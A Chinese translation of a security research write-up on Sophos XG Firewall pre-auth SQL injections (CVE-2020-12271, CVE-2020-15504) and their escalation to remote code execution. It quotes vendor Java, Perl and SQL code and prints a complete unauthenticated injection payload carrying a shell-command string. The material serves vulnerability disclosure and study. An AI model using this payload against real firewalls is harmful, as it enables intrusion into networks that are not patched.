全文共计6563字,预计阅读时间10分钟。
2020年4月25日,Sophos发布了知识库文章(KBA) 135412,警告存在一个预认证SQL注入(SQLi)漏洞,该漏洞会影响XG防火墙产品线。
根据Sophos的说法,这个漏洞至少从2020年4月22日起就被利用了。在知识库文章发布后不久,一篇关于Asnarök活动的详细分析发表了。虽然KBA仅专注于SQLi,但这篇文章清楚地表明,攻击者以某种方式扩展了这个初始vector以实现远程代码执行(RCE)。
我们已及时发布漏洞通告,并提供了暴露和受影响系统的列表。当然,我们也开始调查这个漏洞的技术细节。由于受影响设备的性质以及RCE的危害性,此漏洞也许是以后红队评估中突破边界的最佳选择。然而,实际上它并未达到我们预期的效果,我们将在下文详细讲述。
我们的分析不仅为所公开的漏洞(CVE-2020-12271)带来了有效的RCE利用,而且还发现了另一个SQLi,该SQLi可用于获取代码执行(CVE-2020-15504)。这个新漏洞的严重性与Asnarök活动中使用的漏洞类似:通过暴露的用户或管理页面的预认证进行漏洞利用。Sophos针对我们的错误报告做出了响应,发布了受支持固件版本的修复补丁,并发行了v17.5和v18.0的新固件版本。
前言
由于部署虚拟XG防火墙非常简单,我们就不详细介绍实验室环境设置了。大家可以从官方下载网站获取适当的固件ISO。值得注意的是,此固件允许管理员通过串行接口,Web界面中的TelnetConsole.jsp或SSH服务器直接访问root shell 。因此,没有必要从任何受限的shell中逃脱或逃避其他保护措施来开始分析。

平台架构
为了了解此补丁,我们深入研究底层软件架构。由于发布的信息表明该问题可能是通过Web界面触发的,因此我们对设备如何处理传入的HTTP请求特别感兴趣。 这两个Web界面(用户和管理员)均是基于Apache服务器后面的Jetty服务器提供的相同Java代码。
端口8009上的Jetty服务器,
服务于/usr/share/webconsole
大多数接口交互(例如登录尝试)都会导致对端点/webconsole/Controller的HTTP POST请求 。这样的请求至少包含两个参数:mode和json。前者指定一个数字,该数字在内部映射到应调用的函数,后者指定此函数调用的参数。
登录请求已通过XHR
发送到/webconsole/Controller
如果所请求的函数需要身份验证则会进行相应的Servlet检查,执行一些基本参数验证(代码取决于所调用的函数),并将消息发送给另一个组件--CSC。if (151 == eventBean.getMode()) {
try {
final PrintWriter writer3 = httpServletResponse.getWriter();
if (httpServletRequest.getParameter("json") != null) {
final JSONObject jsonObject5 = new JSONObject();
final CSCClient cscClient4 = new CSCClient();
final JSONObject jsonObject6 = new JSONObject(httpServletRequest.getParameter("json"));
final int int1 = jsonObject6.getInt("languageid");
final int generateAndSendAjaxEvent = cscClient4.generateAndSendAjaxEvent(httpServletRequest, httpServletResponse, eventBean, sqlReader);
检查并提取请求登录的参数
该消息遵循自定义格式,并通过UDP或TCP发送到本地计算机(防火墙)上的端口299。消息内包含一个JSON对象,该对象与初始HTTP请求中提供的json参数相似但不相同 。




Perl处理逻辑
如前所述,Java组件将JSON参数修改之后(HTTP请求中)转发到CSC二进制文件。我们仔细查看了此文件,反汇编程序帮助我们检测到分布在多个内部函数中的不同子模块,但没有表明与登录请求相关的任何逻辑。但是,我们确实找到了大量与Perl C语言接口相关的导入函数。因此,即使在文件系统上进行大量搜索都并未得到任何有用信息,我们仍然假设相关逻辑存储在外部Perl文件中。原来,丢失的Perl代码和各种配置文件存储在加密的tar.gz文件(/_conf/cscconf.bin)中,该文件在CSC初始化期间被解密并提取。我们以前之所以无法找到解密文件,是因为这些文件只能在独立的linux命名空间中找到。 从下面的图片可以看出,二进制文件创建了一个挂载点,并调用了unshare syscall,标志参数设置为0x20000。此常量转换为CLONE_NEWNS标志,该标志将进程与初始挂载命名空间解除关联。 通常,每个进程都与一个命名空间(Name Space)关联,并且只能看到并使用与该命名空间关联的资源。通过将自身与初始命名空间分离,二进制文件可确保在取消共享系统调用之后创建的所有文件,都不会传送到其他进程。命名空间是Linux内核的功能,像docker这样的容器解决方案严重依赖于它们。
在解压缩配置之前调用unshare,
使其与初始名称空间分离
因此,即使在root shell中,我们也无法访问提取的存档。尽管有多种方法可以解决此问题,但此时选择了简单地修补二进制文件 ,便可以将提取的配置复制到全局可写路径。事后看来,拷贝并使用nsenter工具到应用中可能会更容易一些 。
通过跳入CSC二进制文件的命名空间
来访问解密和提取的文件
梳理大量信息发现NDay(CVE-2020-12271)
修补的补丁文件总的来说是对文件 /usr/share/webconsole/WEB-INF/ classes/cyberoam/corporate/CSCClient中的一个现有功能(_send)的修改,以及两个新功能(getPreAuthOperationList和 addEventAndEntityInPayload)的 引入。 函数getPreAuthOperationList定义了所有在未经身份验证的情况下可以调用的模式。函数 addEventAndEntityInPayload会检查请求中指定的模式是否包含在 preAuthOperationsList中, 并在这种情况下从JSON对象中删除Entity和Event键。private static ArrayList getPreAuthOperationList() {
ArrayList modeList = new ArrayList();
modeList.add(151);
modeList.add(1503);
[...]
return modeList;
}
private void addEventAndEntityInPayload(HttpServletRequest req, JSONObject reqJson, int mode) {
try {
if (PRE_AUTH_OPERATIONS.contains(mode)) {
[...]
reqJson.remove("Event");
reqJson.remove("Entity");
CyberoamLogger.debug((String)"CSC", (String)("Request payload after sanitization: " + reqJson.toString()));
}
[...]
}
}
补丁引入的相关修改
分析
基于此补丁,我们假定漏洞必须位于 getPreAuthOperationList中指定的一个函数内 。然而,在浏览了相关的Perl代码以查找使用Entity或 Event键的块之后,我们认为事实并非如此。 但无论指定哪种模式,每个请求都由 apiInterface函数处理。Sophos在内部将映射到mode参数的函数表示为操作码。opcode apiInterface{
CALL validateRequestType
CALL variableInitialization
[...]
CALL isAPIVersionSupported
CALL opcodePreProcess
FOR ("$ind=0";"$ind
$currRequest=$reqEntitiesArr[$ind];
if($requestType eq $REQUEST_TYPE{MULTIREQUEST}){
print "\n\n\t ============ Handling request -- Entity = $currRequest->{Entity}";
$request=$currRequest->{reqJSON};
$request->{Event}=uc($currRequest->{Event});
$request->{Entity}=lc($currRequest->{Entity});
}
CALL checkUserPermission
CALL preMigration
CALL createModeJSON
CALL migrateToCurrVersion
CALL createJson
CALL validateJson
CALL handleDeleteRequest
CALL replyIfErrorAtValidation
CALL getOldObject
IF("$entityJson->{Event} eq 'DELETE' && defined $modeJson->{ORM} && $modeJson->{ORM} eq 'true'"){
CALL executeDeleteQuery
}
}
[...]
为每个请求调用的泛型函数处理程序
此api接口函数也是我们最终发现SQLi漏洞(也称为执行任意SQL语句)的地方。如下面的源码摘录所示,此操作码称为
executeDeleteQuery函数,该函数从查询参数中获取一条SQL语句,并将其针对数据库运行。
FUNCTION executeDeleteQuery{
@queryToExecute=@{$request->{query}};
FOR("$q=0";"$q
QUERY "$queryToExecute[$q]"
}
ON_FAIL{
QUERY "rollback"
%responsej=("status"=>"500","statusmessage"=>"Records Deletion Failed.","deleteObjects"=>\@deletingObjects,"references"=>$references);
REPLY %responsej 500
}
}
执行任意SQL语句
我们的有效载荷需要传递每个前面调用的语句,这些语句在JSON对象上强制执行各种条件和属性,来获得易受攻击的代码。
首次调用(validateRequestType)未要求将Entity设置为securitypolicy,并且在调用之后请求类型为ORM。
FUNCTION validateRequestType{
IF("defined $request->{Entity} && defined $request->{Event}"){
IF("$request->{Entity} eq '' || $request->{Event} eq ''"){
Log applog "\n\n Error ----> Entity and Event is defined but NULL value is passed...! !\n"
FAIL
}
[...]
IF("$request->{Entity} eq 'securitypolicy' && $request->{Event} eq 'DELETE' && scalar(@{$request->{name}}) > 1"){
[...]
}
}ELSE IF("defined $request->{reqEntities}"){
IF("scalar(@{$request->{reqEntities}}) == 0"){
FAIL
}
[...]
函数validateRequestType
前面的调用(variableInitialization)初始化了Perl环境,并且总是成功的。
为了使我们的请求简单而不引入额外要求,有效负载中的Entity值不应为:securityprofile,
mtadataprotectionpolicy,
dataprotectionpolicy,Firewallgroup,
securitypolicy,formtemplate或
authprofile。这使我们可以跳过在函数opcodePreProcess中执行的检查 。
该checkUserPermission函数的功能顾名思义。然而,只有在传递给Perl的JSON对象包含__username参数的情况下,才会执行下面可以看到的函数体。如果HTTP请求与有效的用户会话相关联,则Java组件会在将请求转发到CSC二进制文件之前添加此参数。由于我们在有效负载中使用了未经身份验证的模式, 未设置__username参数,因此我们可以忽略相应的代码。
FUNCTION checkUserPermission{
IF("defined $request->{___username} && '' ne $request->{___username} && 'LOCAL' ne $request->{___username}"){
IF("(! defined $request->{currentlyloggedinuserid}) || '0' eq $request->{currentlyloggedinuserid} "){
curLogOut = QUERY "select userid from tbluser where username= '$currentUser'"
IF(" defined $curLogOut->{output}->{userid} && $curLogOut->{output}->{userid}[0] ne ''"){
[...]
函数checkUserPermission
要跳过preMigration调用,我们只需要选择不等于35(cancel_firmware_upload),36(multicast_sroutes_disable)或
1101(未知)的模式。但最主要的是,这三种模式都需要进行身份验证,因此它们都不符合我们的要求。
根据请求类型,函数createModeJSON使用不同的逻辑来加载连接到指定实体的Perl模块。虽然每个POST请求最初都作为ORM请求启动,但我们不需要将请求类型更改为其他类型。这是为了满足在api接口函数中调用易受攻击的函数之前的最后一个if语句。因此,必须不满足第15行的条件。
FUNCTION createModeJSON {
IF("$requestType == $REQUEST_TYPE{NORMALREQUEST}"){
$modeJson = getHashFromMode($request->{mode});
$packName=$modeJson->{entityFilename};
require $apiPath.$modeJson->{entityFilename};
}ELSE IF("$requestType == $REQUEST_TYPE{ORMREQUEST} || $requestType == $REQUEST_TYPE{MULTIREQUEST}"){
if(defined $request->{Entity}){
$packName=$ENTITYMAP->{$request->{Entity}};
print "\n\n package Name=$packName";
eval "use $packName";
$propertyObj="\$$packName"."::EventProperties";
$objecto=eval $propertyObj;
$modeJson = $objecto->{$request->{Event}};
$modeJson->{entityFilename}=$packName;
if((defined $modeJson->{ORM} && $modeJson->{ORM} ne 'true') || (!defined $modeJson->{ORM})){
$requestType = $REQUEST_TYPE{NORMALREQUEST};
$modeJson = getHashFromMode($request->{mode});
require $apiPath.$modeJson->{entityFilename};
}
}
}
}
函数createModeJSON
由于该处理链接对我们的攻击链并不重要,因此我们跳过了对migrateToCurrVersion函数的调用 。对createJson的下一次调用,验证了先前加载的Perl包是否可以实际初始化的问题,并且只要它引用现有Entity值便可以一直工作。
FUNCTION createJson{
IF("$modeJson->{entityFilename} eq \"\""){
$entityJson=$request;
print "\n\n MODE:$request->{mode} FILE NOT FOUND\n";
}ELSE{
$Package=$modeJson->{entityFilename};
print "\n PAckage ::::$Package";
eval "require $Package";
$entityJson=new $Package($request);
if(!$entityJson->can('new')){
print "\n\n PACKAGE:$Package NOT Found OBJECT NOT CREA TED\n";
}
}
}
函数handleDeleteRequest
再次验证请求类型为ORM。从JSON中删除重复的键后,它确保我们的JSON有效负载包含名称键。然后,代码循环遍历我们在name属性中指定的所有值,并在其他数据库表中搜索外部引用,以便删除这些引用。因为我们不想删除任何现有数据,因此只需将名称设置为一个不存在的值即可。
我们跳过了对replyIfErrorAtValidation和getOldObject的最后两个函数的调用, 因为它们与使用的攻击链无关,并且我们已经获得了足够的Perl代码。
到目前为止,我们需要注意哪些内容?
我们需要一种可以从未经身份验证的角度调用的模式。
我们不应该使用某些Entities。
我们的请求必须为$ REQUEST_TYPE {ORMREQUEST}类型。
该请求必须包含一个保留了一些垃圾值的name属性。
加载Entity的EventProperties时,尤其是DELETE属性,必须将ORM值设置为true。
我们的JSON对象必须包含一个查询键,该键保存了我们想要执行的实际SQL语句。
从SQLi到RCE
一旦具备了根据需求修改数据库的能力,SQLi就可以在很多地方扩展为RCE。之所以如此,是因为在多个实例中,数据库中包含的参数被传递给exec调用。在这里,我们仅关注攻击路径,这基于我们的理解以及Sophos分析中发布的详细信息,且这些攻击路径是在Asnarök运动中使用的。根据已发布的信息,攻击者将其有效负载注入Sophos Firewall Manager(SFM)的主机名称段中,以实现代码执行。SFM是一个单独的设备,可以集中管理多个设备。那么这就会产生一个问题:如果启用中央管理,后端会发生什么?
为了找到与SFM功能相关的数据库值, 我们转储了数据库,在前端启用了SFM,并创建了另一个转储。然后使用转储的差异来识别更改的值。这种方法揭示了多个数据库行的修改。表tblclientservices中的属性CCCAdminIP是攻击者用来注入其有效负载的属性。一个用于CCCAdminIP的简单grep将我们指向Perl代码中的函数get_SOA。opcode get_SOA;
opcode get_SOA with attributes no_wait {
is_eula = NOFAIL EXECSH "/bin/nvram qget is_eula"
IF ("$is_eula->{status} eq '0'") {
TIMER get_SOA:add oncejob nosync "minutes 30" : opcode get_SOA
RETURN 200
}
[...]
#check if hotfixes are automatically installed
accepthotfixes = QUERY "select value from tblconfiguration where key='accepthotfixes'"
IF("$accepthotfixes->{output}->{value}[0] eq 'on'"){
[...]
# Our payload was inserted into CCCAdminIP and is here received from the database
out = QUERY "select servicevalue from tblclientservices where servicekey in ('CCCEnabled','CCCAdminIP','CCC_signature_distribution','CCCFWVersion') order by servicekey='CCCEnabled' desc,servicekey='CCCAdminIP' desc,servicekey='CCC_signature_distribution' desc,servicekey='CCCFWVersion' desc"
$CCCEnabled = $out->{output}->{servicevalue}[0];
$CCCAdminIP = $out->{output}->{servicevalue}[1];
$CCC_signature_distribution = $out->{output}->{servicevalue}[2];
$CCCFWVersion = $out->{output}->{servicevalue}[3];
[...]
out = EXECSH "echo $CCC_signature_port,$CCCAdminIP > /tmp/up2date_servers_srv.conf"
在EXECSH中使用来自数据库的值,且无需清理
从第15行可以看出,该代码从数据库中检索CCCAdminIP的值,并将其未经过滤地传递给第22行的EXECSH调用。由于某种cronjob,get_SOA操作码会定期执行,从而导致了有效载荷的自动执行。
在第11行的if条件下,只有在自动安装补丁(默认设置)处于活动状态,且设备配置为使用SFM中央管理的情况下(非默认设置),此特殊攻击链才允许我们进入EXECSH调用。这导致攻击者极有可能只在激活了自动更新的设备上获得了代码执行权限,导致在安装补丁和利用过程之间出现竞争状况。
未启及时修复补丁或安装最新维护版本仍可能受到攻击。
从N到0(CVE-2020-15504)
除去从修复补丁开始,还有另一种可能发现nday的方法,我们可以对不需要身份验证的所有后端功能(可通过/webconsole/Controller端点调用)进行分析 。例如,可以从Java函数getPreAuthOperationList中提取相应的函数编号 。
private static ArrayList getPreAuthOperationList() {
final ArrayList modeList = new ArrayList();
modeList.add(151);
modeList.add(1503);
modeList.add(6000);
[...]
return modeList;
}
定义无需身份验证即可调用的函数ID的方法
Perl逻辑中的SQL注入对策
尽管后端在没有准备语句的情况下执行了所有SQL操作,但这些操作不会自动受到注入的影响。
OPCODE login {
[...]
result = QUERY "select usertype from tbluser where username=lower('$request->{username}') and usertype = $CYBEROAMDEFAULTADMIN"
IF("defined $result->{output}->{usertype}[0]") {
[...]
包含指定用户可控制的SQL语句
这样做的原因是,通过端口299进入的所有函数参数在处理之前都已通过escapeRequest函数自动进行了转义 。
sub escapeRequest{
my $class=shift;
my $request=shift;
foreach my $key ( keys % {$request}){
if(ref($request->{$key}) eq 'ARRAY'){
[...]
}elsif(ref($request->{$key}) eq 'HASH'){
[...]
}else{
if($request->{$key} ne ''){
$request->{$key}=~ s/\\\'/\'/g;
$request->{$key}=~ s/\\\\/\\/g;
$request->{$key}=~ s/\t/\\t/g;
$request->{$key}=~ s/\\/\\\\/g;
$request->{$key}=~ s/\'/\\\'/g;
}
}
}
return $request;
}
用于转义传入参数的方法
我们注意到其中的一个函数是
RELEASEQUARANTINEMAILFROMMAIL(NR 2531),因为它相应的逻辑会绕过自动转义。发生这种情况是因为该函数将用户可控制的参数之一视为Base64字符串,并在SQL语句中使用了已解码的该参数。由于全局转义发生在实际调用该函数之前,因此它只能看到编码的字符串,这会导致漏掉所有包含的特殊字符,例如单引号。
参数解码后,被分割成不同的变量。这是根据HTTP请求中使用的key = value语法解析字符串来完成此操作 。
我们把重点放在 hdnFilePath变量上,因为它的值不需要满足任何复杂的条件,并且稍后会出现在SQL语句中。
OPCODE mergequarantine_manage{
IF("defined $request->{release} and $request->{release} ne '' "){
use MIME::Base64;
$param = decode_base64($request->{release});
[...]
// Code White: rcptData[1] is derived from $param
@filePathData = split(/&hdnDestDomain=/, $rcptData[1]);
$requestData{hdnFilePath}=$filePathData[0];
my $email_regex='^([\.]?[_\-\!\#\{\}\$\%\^\&\*\+\=\|\?\'\\\\\\/a-zA-Z0-9])*@([a-zA-Z0-9]([-]?[a-zA-Z0-9]+)*\.)+([a-zA-Z0-9]{0,24})$';
if($requestData{hdnRecipient} =~ /$email_regex/ && ((defined $requestData{hdnSender} && $requestData{hdnSender} eq '') || $requestData{hdnSender} =~ /$email_regex/) && index($requestData{hdnFilePath},'../') == -1){
$validate_email="true";
}
IF("$validate_email eq 'false'"){
%response=("status"=>"548","statusmessage"=>"Invalid URL");
REPLY %response 500
}
$iviewQuery= "select messageid,reason,isavas from (select messageid,COALESCE(NULLIF('',''),NULL) as reason,'as' as isavas from tblquarantinespammailmerge where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select messageid,COALESCE(NULLIF('',''),NULL) as reason ,'as' as isavas from tblquarantinespammailmergev5 where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select messageid,reason::text ,'as' as isavas from tblquarantinespammailmergev6 where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select messageid,'' as reason ,'av' as isavas from tblquarantinemailmerge where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select messageid,'' as reason ,'av' as isavas from tblquarantinemailmergev5 where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' UNION ALL select messageid,reason::text ,'av' as isavas from tblquarantinemailmergev6 where quarantinearea='$requestData{hdnFilePath}' and recipient='$requestData{hdnRecipient}' ) as tbl";
[...]
quarantinQuery = DLOPEN(iviewdb_query,iviewQuery)
}
}
易受到SQLi攻击的方法
$ requestData {hdnFilePath}的唯一限制是它不包含../序列 。在以适当的格式创建了一个release参数之后,我们现在能够在上面的SELECT语句中触发SQLi。考虑到使用的参数已被插入查询六次,我们必须小心不要破坏语法。

经过一些试验,我们能够确认已部署的Postgres版本和所使用的数据库API支持堆叠查询,但是不能通过SQLi使它正常工作。多次尝试失败后,我们发现在提交查询之前,函数
iviewdb_query(/lib/libcscaid.so)调用了escape_string(/usr/bin/csc)函数。由于此函数转义了SQL语句中的所有分号,因此无法使用堆叠查询。 此时,我们能够在iviewdb数据库的SELECT语句中触发未经身份验证的SQL注入 ,该语句没有为升级到RCE提供任何有意义的起始点。然而我们不想放弃实现代码执行的目标,经过深入研究提出了以下想法:如果我们修改载荷的方式使SQL语句以预期的形式返回值,会怎么样呢?这能否使我们触发后续的Perl逻辑,并最终执行代码的?我们进行多次尝试后,成功构造了一个允许我们在查询的列中返回任意值的有效载荷。
执行SELECT语句,
该语句返回有效载荷内部指定的值
在设法构造了这样的有效载荷之后,我们集中于后续的Perl逻辑。从源头上看,我们在数据库查询之后发现了一个可能有用的EXEC调用。该调用的参数之一是从用户控制下的变量派生的。quarantinQuery = DLOPEN(iviewdb_query,iviewQuery)
GET g_ha_mode
IF("!defined $quarantinQuery->{output}->{messageid} || $quarantinQuery->{output}->{messageid}[0] eq ''"){
IF ("$g_ha_mode == $HA_ENABLED") {
GET g_ha_ownstatus
IF ("$g_ha_ownstatus == $HA_PRIM"){
result = QUERY "select peerdedicatedip from tblhaparam"
$peerdedicatedip=$result->{output}->{peerdedicatedip}[0];
$jsonbody = "{\\\"hdnRecipient\\\":\\\"$requestData{hdnRecipient}\\\",\\\"hdnFilePath\\\":\\\"$requestData{hdnFilePath}\\\"}";
out = EXEC /bin/dbclient -n -I "60" -y -l hauser $peerdedicatedip /bin/opcode check_mail_availability_HA -t "json" -b $jsonbody -s nosync
使用者可控制参数的Exec调用
不幸的是,变量$ g_ha_mode(最可能与高可用性功能有关) 在默认配置中设置为false,我们不得不寻找其他更好的方法。函数mergequarantine_manage不包含任何其他 exec调用,但在适当的条件下触发了同一文件中的其他两个Perl函数。这些函数是通过api接口操作码触发的,该操作码在端口299上生成了一个新的CSC请求。
for($qurcnt=0;$qurcnt
if($isavasArr[$qurcnt] eq 'av' && $request->{action} ne 'release' && ($reasonarr[$qurcnt] ne '12' || $reasonarr[$qurcnt] eq '12')){
push(@avmessageidArr,$messageid[$qurcnt]);
push(@avrecipientArr,$rcptArr[$qurcnt]);
}elsif($isavasArr[$qurcnt] eq 'as' || ($isavasArr[$qurcnt] eq 'av' && $request->{action} eq 'release' && $reasonarr[$qurcnt] eq '12')){
push(@asmessageidArr,$messageid[$qurcnt]);
push(@asrecipientArr,$rcptArr[$qurcnt]);
}
}
# Code White: 831 == manage_quarantine
%spamqueReq=("mode"=>"831","hdnMessageid"=>\@asmessageidArr,"hdnRecipient"=>\@asrecipientArr,"action"=>"$request->{action}","reason"=>\@reasonarr);
# Code White: 833 == manage_malware_quarantine
%malwareReq=("mode"=>"833","messageid"=>\@avmessageidArr,"recipient"=>\@avrecipientArr,"action"=>"$request->{action}");
触发后续CSC请求的逻辑
我们在操作中始终将$ request- > {action}设置为release,从而限制了我们对
manage_quarantine的调用 。
此函数使用其提交的参数 (来自 mergequarantine_manage中查询的结果集)触发另一个SELECT语句。当此语句返回匹配值时,将 触发EXEC调用,该调用将返回值之一作为参数。OPCODE manage_quarantine{
[...]
$iviewQuery= "select messageid,sender,recipient,subject,quarantinearea, destdomain,reason from (select messageid,sender,recipient,subject,quarantinearea, CAST(INET_NTOA(destdomain) as inet) as destdomain,0 as reason from tblquarantinespammailmerge where messageid='$hdnMessageidArr[$messagecnt]' and recipient='$hdnRecipientArr[$messagecnt]' UNION ALL select messageid,sender,recipient,subject,quarantinearea, destdomain,0 as reason from tblquarantinespammailmergev5 where messageid='$hdnMessageidArr[$messagecnt]' and recipient='$hdnRecipientArr[$messagecnt]' UNION ALL select messageid,sender,recipient,subject,quarantinearea, destdomain,reason from tblquarantinespammailmergev6 where messageid='$hdnMessageidArr[$messagecnt]' and recipient='$hdnRecipientArr[$messagecnt]') as tbl";
[...]
quarantinQuery = DLOPEN(iviewdb_query,iviewQuery)
$mailFrom = $quarantinQuery->{output}->{sender}[0];
$strSubject=$quarantinQuery->{output}->{subject}[0];
$file =$quarantinQuery->{output}->{quarantinearea}[0];
$mailTo = $quarantinQuery->{output}->{recipient}[0];
[...]
IF("$file =~/.eml/ || $file =~ /0x2/") {
#convert eml file to -H and -D files
newfile=EXEC /scripts/mail/convert_eml_to_H_D.pl '$file' '/sdisk/quarantine/'
chomp($newfile->{output});
$file= "/sdisk/spool/tmp/" . $newfile->{output};
LOG applog "new mail file: $newfile->{output}\n"
}
函数manage_quarantine
现在的问题是,如何通过第一条语句的结果集来操纵第二条SELECT语句的结果集?如何在第一个查询中返回后续触发第二个语句中SQLi的值?因为使用字符串串联来构造语句,所以理论上这应该是可行的。在投入大量工作来制作这种有效载荷之后,我们并没有得到理想的结果。重新分析我们有效负载的处理方式,发现在到达第二个查询之前,它已经以某种方式被转义了。由于该功能是通过新的CSC请求触发的,因此它自动通过了前面描述的转义逻辑。
我们不断地寻找其他方法来强化注入,并对相关组件进行了更深入的研究。在早期阶段,我们已经创建了iviewdb数据库的完整转储,但是它不包含任何有用的信息,因此我们并未过度关注。但重新访问数据库时,我们发现该设备大量使用的函数之一是user-defined函数。
User-defined函数可以通过定义自己的SQL函数来扩展预定义的数据库操作。这些可以用Postgres自己的语言编写PL/pgSQL。我们之所以对这些函数感兴趣,是因为先前定义的函数可以在SELECT语句中被内联调用。调用语法与其他SQL函数相同,例如SELECT my_function(param1, param2) FROM table 。
我们认为现有的User-defined函数之一可能允许执行堆栈查询。如果SQL语句使用了参数,而没有在函数内部进行适当的过滤,就会出现这种情况。遍历数据库转储会发现多个符合此特征的代码块。令我们惊讶的是,还有一种更简单的执行任意语句的方法——函数execute。各个代码只需要一个参数即可直接作为SQL语句执行,且不需要任何进一步检查。
CREATE FUNCTION execute(query text) RETURNS void
LANGUAGE plpgsql
AS $$
BEGIN
execute query;
EXCEPTION
WHEN OTHERS THEN
RAISE NOTICE 'Exception Occured while executing : %', query;
END
$$;
用户定义的SQL函数执行
从理论上讲,这个函数允许我们在
mergequarantine_manage的SELECT查询中执行INSERT语句 。
然后可以使用它将数据库行添加到表tblquarantinespammailmerge中,该表稍后在manage_quarantine中的exec调用中结束。

mode=2531&
release=
hdnSender=s@s.com
&hdnRecipient=r@r.com&
hdnFilePath=
H' UNION SELECT
'a' || execute('
DELETE FROM tblquarantinespammailmerge where messageid = chr(97);
INSERT INTO tblquarantinespammailmerge(messageid,sender,recipient,subject,quarantinearea,destdomain) values(chr(97), chr(66), \'r@r.com\', chr(69), encode(decode(\'; sleep 10; echo test.eml\', \'base64\'), \'escape\'), 1)
') as messageid,
'b' as reason,
'as' as isavas
UNION SELECT messageid,'b' as reason, 'c' as isavas FROM tblquarantinespammailmerge where quarantinearea='&hdnDestDomain=DESTDOMAIN
全部载荷
说明:
第1-2行:定义模式2531所需的两个HTTP参数。
第3-6行:
第7行:通过注入单引号来触发SQLi。
第8-11行:
第10行:
第9行:
从tblquarantinespammailmerge删除messageid等于'a'的所有行。这样可以确保该表仅包含一次有效负载(向量在初始语句中被注入6次)。它简化了manage_quarantine中SELECT语句之后的路径, 并防止有效载荷的多次执行。
第12-14行:需要符合预定义语句的语法。
newfile=EXEC /scripts/mail/convert_eml_to_H_D.pl '; sleep 10; echo test.eml' '/sdisk/quarantine/'
代码执行
代码执行完成,但是并没有时间延迟,这表明睡眠并没有真正触发。研究发现,我们并未使用与nday完全相同的执行机制。Asnarök用过 EXECSH,我们使用了EXEC,EXEC通过将单个值传递给脚本来正确处理参数中的空格。
然而我们并没有放弃尝试。最终,我们能够通过SQLi执行代码,ol' Perl脚本起到了关键作用。
[...]
my $emlfile=$ARGV[1] ."/" . $ARGV[0];
my $detailio = new IO::Handle;
open($detailio, ">>$filewritingdata") or die("Cannot write $filewritingdata: $!\n");
[...]
my $emlio = new IO::Handle;
open($emlio, $emlfile) or
die("Cannot write $emlfile: $!\n");
Perl的作用
我们将这最后一部分添加到攻击链中,是否公开已修复漏洞的有效载荷,这是一个小问题,将由读者来决定。
通过滥用已发现的漏洞来触发反向Shell
作者:
Jakob Heusinger & Matteo Tomaselli
声明
译文仅供参考,具体内容表达及含义以原文为准,文章言论观点不代表极光无限的观点。 参考来源: https://codewhitesec.blogspot.com/2020/07/sophos-xg-tale-of-unfortunate-re.html— THE END —
往期精选
招聘
极光无限 | 三大部门联合扩招50个岗位
丨更多
热文
漏洞公告 | Cochip无线路由器绕过认证泄露账号密码漏洞
丨更多
热文
漏洞公告 | Tenda AC系列路由器远程命令执行0day漏洞:CVE-2020-10987 & CVE-2020-15916
丨更多
热文
漏洞公告 | 华硕(ASUS)家庭无线路由器远程代码执行0day
丨更多




如果你喜欢这篇文章,欢迎点击"在看"